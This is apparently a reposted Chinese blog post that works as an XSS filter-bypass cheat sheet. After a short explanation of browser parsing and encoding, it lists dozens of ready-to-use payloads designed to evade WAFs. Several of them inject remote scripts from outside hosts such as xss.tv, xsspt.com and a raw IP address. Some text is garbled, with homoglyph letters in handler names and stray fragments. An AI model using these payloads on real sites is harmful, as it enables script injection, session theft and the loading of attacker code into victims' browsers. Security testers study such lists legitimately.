1、首先是弹窗函数:
- alert(1)
- prompt(1)
- confirm(1) eval()
2、然后是字符的编码和浏览器的解析机制:
要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。
三个解析过程所对应的字符编码分别为:HTML解析 => HTML实体编码 、JS解析 => Unicode编码 、URL解析 =>URL编码。
需要注意的是:
- 1、Unicode编码无法转换控制字符如【'】【"】【()】,仅仅会将这些当成普通字符,而不是控制字符,也就是说你无法在<script>标签中利用Unicode编码单双引号来闭合引号。 2、JavaScript伪协议除了HTML编码之外不能进行其他编码,这个单词必须是完整的,因为浏览器最先解析HTML,之后javascript必须是完整的。这个在ie6下才执行的。
3、下面我们用实际例子来解释一下以上所说的浏览器解析过程和字符编码是怎么回事,以及今天的重点---XSS绕过。
....暂定
hidden属性标签
- 插入点在hidden前,新增一个type属性覆盖hidden:
- <input value='a' src=1 οnerrοr=alert(1) type="image" type="hidden">
- 插入点在hidden后,shift+alt+accesskey:
- <input value='a' type="hidden" accesskey="x" οnclick=alert(1)>
弹窗验证:
1、弹窗payload
- <a href=javascript:alert
1
>click - <button ‘ οnclick=alert(1)//>
- <button οnfοcus=alert
122
> - <object data=javascript:alert
1
> - <body/οnfοcus=alert
9989
> - <input antofocus οnfοcus=alert
1
> - <svg><script xlink:href=data:,alert(1) />
- <iframe srcdoc=<svg/onload=alert(1)>>
- <svg/οnlοad=alert(1)>
- <x contenteditable οnblur=alert(1)>lose focus!
- lose focus!//contenteditable:使可编辑
- <x οncοntextmenu=alert(1)>right click this!
- <c οncοntextmenu=alert(1)>鼠标右键点击
- <iframe src="	javascript:prompt(1)	">
- <ScRipT 1>prompt(1)</ScRipT 123
- <input/οnfοcus=ev\u0061l(\u0061lert(1))>
- <input antofocus οnfοcus=\u0061lert(1)>
- <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
- #payload的=号前加空格即可绕过waf
- <iframe/src='data:text/html,<svg οnlοad=alert(1)>'>
- [media=mp3,200,300]http://www.tudou.com/programs/view/a' οnlοad=alert(1) οnerrοr=alert(1)[/media]
- <img/src=1 οnmοuseοut=alert
1
> - test3 //可以成功执行
- ClickMe
- <form><button formaction=javascript:alert(1)>CLICKME
- //必须要有双引号,不然执行不了
- 2//不能去掉双引号
- 2 //可以去掉双引号
- 2
- XSStest
- 'al\u0065rt'">
- <input/οninput=top'al\x65rt'>
- //以下都是要把[]进行url编码
- //<img src=9989 οnerrοr=top/al/.source+/ert/.source>
- //<img src=9989 οnerrοr=top"al"+"ert">
- //<img src=9989 οnerrοr=top'al\145rt'>
- //<img src=9989 οnerrοr=top'al\x65rt'>
- <img/src=1 οnerrοr=top[8680439..toString
30
]1
> - <img/src=1 οnerrοr=top[8680439..toString
30
]1
> - <img/src=1 onError="alert(1)"> //使用时有时需要吧进行URL编码
- <img/src=1 onError=top/al/.source+/ert/.source>
- <img/src='a'οnerrοr=[1].find(alert)>
- <img/src='2'οnerrοr=top8680439..toString(30)>
- <a/href=javascript:alert`1`>123</ a>
- <img/src='2'οnerrοr=top/al/.source+/ert/.source><p/οncοpy=alert(1)>
- <body οnhashchange=alert(1)>click this!#x
- <body style=overflow:auto;height:1000px οnscrοll=alert(1) id=x>#x
- <body οnresize=alert(1)>press F12!
- <body οnpageshοw=alert(1)>
- <body οnfοcus=alert(1)>
- <marquee onstart=alert(1)>
- <marquee loop=1 width=0 onfinish=alert(1)>
- <input autofocus οnblur=alert(2)>
- <keygen autofocus οnfοcus=alert(3)>
- <form οnsubmit=alert(4)><input type=submit>
- <select οnchange=alert(5)><option>1<option>2
- <menu id=x contextmenu=x οnshοw=alert(6)>right click me! <meta content="0;https://www.baidu.com"HTTP-EQUIV="refresh""/> <meta content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhTUyIpPC9zY3JpcHQ+"HTTP-EQUIV="refresh""/>
- <svg><animate xlink:href=#xss attributeName=href values="</li> <li></li> <li> javascript:alert(1)" /><text x=20 y=20>XSS</text>
- <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><text x=20 y=20>XSS</text> <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><text x=20 y=20>XSS</text> <svg><animate xlink:href=#xss attributeName=href values="javascript:alert(1)" /><text x=20 y=20>XSS</text>
- MM
2、引入外部js,需要有jQuery库
- <html>
- <head>
- <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>
- </head>
- <body>
- <img/src=1 οnerrοr=$.getScript("http://118.24.154.114/1.js");>
- 绕waf:
- <img/src=1 οnerrοr=jQueryatob('Z2V0U2NyaXB0')>
- 16进制 <img/src=1 οnerrοr=eval("\x24\x2E\x67\x65\x74\x53\x63\x72\x69\x70\x74\x28\x22\x68\x74\x74\x70\x3A\x2F\x2F\x31\x31\x38\x2E\x32\x34\x2E\x31\x35\x34\x2E\x31\x31\x34\x2F\x31\x2E\x6A\x73\x22\x29\x3B")>
- ascii码 <img/src=1 οnerrοr="eval(String.fromCharCode(36, 46, 103, 101, 116, 83, 99, 114, 105, 112, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 49, 49, 56, 46, 50, 52, 46, 49, 53, 52, 46, 49, 49, 52, 47, 49, 46, 106, 115, 34, 41, 59))">
- </body>
- </html>
3、Unicode编码绕过例子
- <html>
- <head>
- </head>
- <body>
- <script>
- var s="\u003cimg/src=1\u003e"; document.getElementById('s').innerHTML = s;
- </script>
- </body>
- </html>
以上代码由于使用了innerHTML 方法,可以使用Unicode表面皿绕过检测。
4、利用巧用换行绕过url规则检测:
- <?php
- $url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
- var_dump($url);
- $url = htmlspecialchars($url);
- var_dump($url);
- echo "Next slide"
- ?>
利用代码:
- <img/src=1 οnmοuseοver=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv"> <img src=1 οnerrοr="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72'"> JS 8进制
下面是一位大佬的文章,这里直接引用了,有空再整理。
这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload
当document被过滤的情况下,又不能用编码
+被过滤,又不能编码
<svg/οnlοad="[1].find(function(){with(
\docomen\.1\t\.1
);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom%27|e|%27nt
);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom%27%2Be%2B%27nt
);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'+e+'nt
);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'-e-'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'*e*'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'/e/'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'%e%'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'^e^'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'>e>'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/οnlοad="[1].find(function(){with(
docom'<e<'nt
);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">- <script type="text/javascript">
var a = ''>=alert``<='';
var a = ''+alert``+'';
</script>
<keygen autofocus οnfοcus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士
就是下面这些连接符号
输出在script内字符串位置的情况
如果允许闭合字符串,直接闭合并写入javascript即可,如:
http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27
http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<'
http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<='
<svg/οnlοad="[1].find(function(){with(
docom'|e|'nt
);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/οnlοad=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
<svg/οnlοad=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
<svg/οnlοad=[1].find(function(){with(
/docomen/.source+/t/.source
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/οnlοad=[1].find(function(){with(
/docomen/.1+/t/.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/字符/.1+/字符/.1
字符加上字符
//.1 + //.1 这些只是连接字符的方式而已 ,总结起来就是 document而已
<svg/οnlοad=[1].find(function(){with(
\docomen\.1+\t\.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/ 换成 \ 也可以
<svg/οnlοad=[1].find(function(){with(
\docomen\.1\t\.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>不要加号也可以
<svg/οnlοad=[1].find(function(){with(
=docomen=.1+=t=.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/换成=号也可以
<svg/οnlοad=[1].find(function(){with(
=docomen=.1=t=.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>不要加号也可以
<svg/οnlοad=[1].find(function(){with(
^docomen^.1+^t^.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/换成^号也可以
<svg/οnlοad=[1].find(function(){with(
^docomen^.1^t^.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/οnlοad=[1].find(function(){with(
|docomen|.1+|t|.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/换成|号也可以
<svg/οnlοad=[1].find(function(){with(
|docomen|.1|t|.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/οnlοad=[1].find(function(){with(
&docomen&.1+&t&.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/换成&号也可以
<svg/οnlοad=[1].find(function(){with(
&docomen&.1&t&.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/οnlοad=[1].find(function(){with(
%26docomen%26.1+$26t%26.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/换成%26也行
<svg/οnlοad=[1].find(function(){with(
%26docomen%26.1$26t%26.1
);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>不要引号也行
Body加上括号也行
<svg/οnlοad=[1].find(function(){with(
docomen
);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})><body/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))>
<svg/οnlοad=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
笨鸟先飞早入林,笨人勤学早成材。
转载请注明出处:
撰写人:fox-yu http://www.cnblogs.com/fox-yu/
版权归原作者 H1111B 所有, 如有侵权,请联系我们删除。